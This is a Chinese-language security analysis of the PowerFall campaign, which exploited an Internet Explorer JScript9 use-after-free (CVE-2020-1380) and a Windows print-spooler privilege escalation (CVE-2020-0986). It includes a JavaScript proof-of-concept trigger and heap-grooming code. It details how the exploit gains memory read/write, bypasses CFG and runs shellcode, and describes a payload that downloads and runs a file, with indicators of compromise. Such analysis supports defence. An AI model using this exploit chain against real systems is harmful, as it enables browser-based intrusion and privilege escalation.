PowerFall恶意活动:IE和Windows的两个0-day漏洞分析

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0x00 概述

2020年5月,卡巴斯基成功防御了Internet Explorer恶意脚本对某家韩国企业的攻击。经过进一步分析发现,该工具使用了以前未知的完整利用链,其中包括两个0-day漏洞:Internet Explorer远程代码执行漏洞、Windows特权提升漏洞。与我们以前在WizardOpium恶意活动中发现的攻击链不同,新的攻击链可以针对Windows 10的最新版本发动攻击。经过测试表明,该漏洞可以可靠地在Internet Explorer 11和Windows 10 x64的18363版本上利用。
2020年6月8日,我们向Microsoft报告了我们的发现,并且Microsoft已确认漏洞。在我们撰写报告时,Microsoft的安全团队已经针对CVE-2020-0986漏洞发布了补丁,修复这一特权提升0-day漏洞。但是,在我们发现该漏洞之前,这一漏洞的可利用性被评估为“不太可能”。CVE-2020-0986的修复程序在2020年6月9日发布。
Microsoft为JScript的Use-After-Free漏洞分配了CVE-2020-1380编号,该漏洞的补丁于2020年8月11日发布。

我们将这一系列攻击称为PowerFall恶意活动。目前,我们暂时不能将恶意活动与任何已知的威胁行为者建立明确联系,但根据它与以前发现漏洞的相似性,我们认为DarkHotel可能是此次攻击的幕后黑手。卡巴斯基产品目前将PowerFall攻击检测为“PDM:Exploit.Win32.Generic”。

 

0x01 Internet Explorer 11远程代码执行漏洞

在野外发现的Internet Explorer最新0-day攻击利用了旧版本JavaScript引擎jscript.dll中的漏洞CVE-2020-0674、CVE-2019-1429、CVE-2019-0676和CVE-2018-8653。其中,CVE-2020-1380是jscript9.dll中的一个漏洞,该漏洞自Internet Explorer 9开始存在,因此Microsoft建议的缓解步骤(限制jscript.dll的使用)无法针对这个特定漏洞实现防护。
CVE-2020-1380是一个释放后使用(Use-After-Free)漏洞,由于JIT优化过程中,JIT编译的代码中缺少必要的检查导致。下面展示了触发漏洞的PoC:

function func(O, A, F, O2) {
    arguments.push = Array.prototype.push;
    O = 1;
    arguments.length = 0;
    arguments.push(O2);
    if (F == 1) {
        O = 2;
    }

    // execute abp.valueOf() and write by dangling pointer
    A[5] = O;
};

// prepare objects
var an = new ArrayBuffer(0x8c);
var fa = new Float32Array(an);

// compile func
func(1, fa, 1, {});
for (var i = 0; i < 0x10000; i++) {
    func(1, fa, 1, 1);
}

var abp = {};
abp.valueOf = function() {

    // free 
    worker = new Worker('worker.js');
    worker.postMessage(an, [an]);
    worker.terminate();
    worker = null;

    // sleep
    var start = Date.now();
    while (Date.now() - start < 200) {}

    // TODO: reclaim freed memory

    return 0
};

try {
    func(1, fa, 0, abp);
} catch (e) {
    reload()
}

要理解这一漏洞,我们首先看一下func()的执行方式。这里,重要的是了解将什么值设置为A[5]。根据代码,与之相关的应该是一个参数O。在函数开始时,会将参数O重新分配为1,但随后将函数参数长度设置为0。这个操作不会清除函数参数(通常,常规数组会这样做),但允许将参数O2放在索引为0的参数列表1中,这意味着O = O2。除此之外,如果参数F等于1,则会再次重新分配O,但这次会分配整数2。这意味着,根据参数F的值,O参数会等于O2参数的值或是整数2。参数A是32位浮点型数组,在将值分配给数组的索引5之前,会将值首先转换为浮点数。将整数转换为浮点数的过程比较简单,但是如果要将对象转换为浮点数,这个过程就不再那么简单了。该漏洞利用使用了重载方法valueOf()中的abp对象。当对象转换为浮点型时执行此方法,但是在其内部,包含释放ArrayBuffer的代码,该代码由Float32Array查看,并在其中设置返回值。为了防止将值存储在已释放对象的内存中,JavaScript引擎需要首先检查对象的状态,然后再将值存储在对象中。为了安全地转换和存储浮点值,JScript9.dll使用函数Js::TypedArray<float,0>::BaseTypedDirectSetItem()。下面是这个函数的反编译代码:

int Js::TypedArray<float,0>::BaseTypedDirectSetItem(Js::TypedArray<float,0> *this, unsigned int index, void *object, int reserved)
{
    Js::JavascriptConversion::ToNumber(object, this->type->library->context);
    if ( LOBYTE(this->view[0]->unusable) )
        Js::JavascriptError::ThrowTypeError(this->type->library->context, 0x800A15E4, 0);
    if ( index < this->count )
    {
        *(float *)&this->buffer[4 * index] = Js::JavascriptConversion::ToNumber(
            object,
            this->type->library->context);
    }
    return 1;
}

double Js::JavascriptConversion::ToNumber(void *object, struct Js::ScriptContext *context)
{
    if ( (unsigned char)object & 1 )
        return (double)((int)object >> 1);
    if ( *(void **)object == VirtualTableInfo<Js::JavascriptNumber>::Address[0] )
        return *((double *)object + 1);
    return Js::JavascriptConversion::ToNumber_Full(object, context);
}

该函数检查浮点型数组的view[0]->unusablecount字段。在执行valueOf()方法的过程中,当ArrayBuffer被释放时,这两项检查都将失败,因为此时view[0]->unusable为1,并且在第一次调用Js::JavascriptConversion::ToNumber()count为0。问题在于,Js::TypedArray<float,0>::BaseTypedDirectSetItem()函数仅在解释模式下使用。
当函数func()被即时编译时,JavaScript引擎将会使用以下存在漏洞的代码:

if ( !((unsigned char)floatArray & 1) && *(void *)floatArray == &Js::TypedArray<float,0>::vftable )
{
  if ( floatArray->count > index )
  {
    buffer = floatArray->buffer + 4*index;
    if ( object & 1 )
    {
      *(float *)buffer = (double)(object >> 1);
    }
    else
    {
      if ( *(void *)object != &Js::JavascriptNumber::vftable )
      {
        Js::JavascriptConversion::ToFloat_Helper(object, (float *)buffer, context);
      }
      else
      {
        *(float *)buffer = *(double *)(object->value);
      }
    }
  }
}

这是Js::JavascriptConversion::ToFloat_Helper()函数的代码:

void Js::JavascriptConversion::ToFloat_Helper(void *object, float *buffer, struct Js::ScriptContext *context)
{
  *buffer = Js::JavascriptConversion::ToNumber_Full(object, context);
}

如我们所见,与解释模式不同,在即时编译的代码中,不会检查ArrayBuffer的生命周期,并且可以释放它的内存,然后在调用valueOf()函数时将其回收。此外,攻击者可以控制将返回值写入到哪个索引中。但是,在arguments.length = 0;arguments.push(O2);的情况下,PoC会将其替换为arguments[0] = O2;,所以Js::JavascriptConversion::ToFloat_Helper()就不会触发这个Bug,因为隐式调用将被禁用,并且不会执行对valueOf()函数的调用。
为了确保及时编译函数func(),漏洞利用程序会执行该函数0x10000次,对整数进行无害的转换,并且只有在再次执行func()之后,才会触发Bug。为了释放ArrayBuffer,漏洞利用使用了一种滥用Web Workers API的通用技术。postMessage()函数可以用于将对象序列化为消息,并将其发送给worker。但是,这里的一个副作用是,已传输的对象会被释放,并且在当前脚本上下文中变为不可用。在释放ArrayBuffer后,漏洞利用程序通过模拟Sleep()函数使用的代码触发垃圾回收机制。这是一个while循环,用于检查Date.now()与先前存储的值之间的时间间隔。完成后,漏洞利用会使用整数数组回收内存。

for (var i = 0; i < T.length; i += 1) {
        T[i] = new Array((0x1000 - 0x20) / 4);
        T[i][0] = 0x666; // item needs to be set to allocate LargeHeapBucket
    }

在创建大量数组后,Internet Explorer会分配新的LargeHeapBlock对象,这些对象会被IE的自定义堆实现使用。LargeHeapBlock对象将存储缓冲区地址,讲这些地址分配给数组。如果成功实现了预期的内存布局,则该漏洞将使用0覆盖LargeHeapBlock偏移量0x14处的值,该值恰好是分配的块数。
jscript9.dll x86的LargeHeapBlock结构:

此后,漏洞利用会分配大量的数组,并将它们设置为在漏洞利用初始阶段准备好的另一个数组。然后,将该数组设置为null,漏洞利用程序调用CollectGarbage()函数。这将导致堆碎片整理,修改后的LargeHeapBlock及其相关的数组缓冲区将被释放。在这个阶段,漏洞利用会创建大量的整数数组,以回收此前释放的数组缓冲区。新创建的数组的魔术值设置为索引0,该值通过指向先前释放的数组的悬空指针以进行检查,从而确认漏洞利用是否成功。

        for (var i = 0; i < K.length; i += 1) {
            K[i] = new Array((0x1000 - 0x20) / 4);
            K[i][0] = 0x888; // store magic
        }

        for (var i = 0; i < T.length; i += 1) {
            if (T[i][0] == 0x888) { // find array accessible through dangling pointer
                R = T[i];
                break;
            }
        }

最后,漏洞利用创建了两个不同的JavascriptNativeIntArray对象,它们的缓冲区指向相同的位置。这样,就可以检索对象的地址,甚至可以创建新的格式错误的对象。该漏洞利用使用这些原语来创建格式错误的DataView对象,并获得对该进程整个地址空间的读/写访问权限。
在构建了任意的读/写原语之后,就可以绕过控制流防护(CFG)并执行代码了。该漏洞利用使用数组的vftable指针获取jscript9.dll的模块基址。从这里,它解析jscript9.dll的PT头,以获得导入目录表的地址,并解析其他模块的基址。这里的目标是找到函数VirtualProtect()的基址,该地址将用于执行Shellcode的过程。之后,漏洞利用程序在jscript9.dll中搜索两个签名。这些签名对应Unicode字符串splitJsUtil::DoublyLinkedListElement<ThreadContext>::LinkToBeginning<ThreadContext>()函数地址。Unicode字符串split的地址用于获取对该字符串的代码引用,并借助它来帮助解析函数Js::JavascriptString::EntrySplit()的地址,该函数实现了字符串方法split()。函数LinkToBeginning<ThreadContext>()的地址用于获取全局链表中第一个ThreadContext对象的地址。这个漏洞利用程序会在链表中找到最后一个条目,并利用它为负责执行脚本的线程获取堆栈位置。然后,就到了最后一个阶段。漏洞利用程序执行split()方法,并提供一个具有重载valueOf()方法的对象作为限制参数。在执行Js::JavascriptString::EntrySplit()函数的过程中,执行重载的valueOf()方法时,漏洞利用程序将搜索线程的堆栈以查找返回地址,将Shellcode放置在准备好的缓冲区中,获取其地址。最后,通过覆盖函数的返回地址,构建一个面向返回的编程(ROP)链以执行Shellcode。

 

0x02 下一阶段

Shellcode是附加到Shellcode上的可移植可执行(PE)模块的反射DLL加载器。这个模块非常小,全部功能都位于单个函数内。它在名为ok.exe的临时文件夹中创建一个文件,将远程执行代码中利用的另一个可执行文件的内容写入到其中。之后,执行ok.exe
ok.exe可执行文件包含针对GDI Print / Print Spooler API中的任意指针解引用特权提升漏洞(CVE-2020-0986)。该漏洞最初是一位匿名用户通过Trend Micro的Zero Day Initiative计划向Microsoft报告的。由于该漏洞在报告后的6个月内未发布补丁,因此ZDI将这一0-day漏洞进行披露,披露日期为2020年5月19日。第二天,这一漏洞就已经在先前提到的攻击中被利用。
利用这一漏洞,可以使用进程间通信来读取和写入splwow64.exe进程的任意内存,并绕过CFG和EncodePointer保护,从而实现splwow64.exe中的代码执行。该漏洞利用程序的资源中嵌入了两个可执行文件。第一个可执行文件以CreateDC.exe的形式写入磁盘,并用于创建设备上下文(DC),这是漏洞利用所必需的。第二个可执行文件的名称为PoPc.dll,如果利用成功,会由具有中等完整性级别的splwow64.dll执行。我们将在后续文章中提供有关CVE-2020-0986及其漏洞利用的更多信息。
splwow64.exe执行恶意PowerShell命令:

PoPc.dll的主要功能也位于单个函数之中。它执行一个编码后的PowerShell命令,该命令用于从www[.]static-cdn1[.]com/update.zip下载文件,将其保存为临时文件upgrader.exe并执行。由于卡巴斯基已经在下载可执行文件前阻止了攻击,因此我们未能拿到upgrader.exe,无法对其进行进一步分析。

 

0x03 威胁指标

www[.]static-cdn1[.]com/update.zip
B06F1F2D3C016D13307BC7CE47C90594
D02632CFFC18194107CC5BF76AECA7E87E9082FED64A535722AD4502A4D51199
5877EAECA1FE8A3A15D6C8C5D7FA240B
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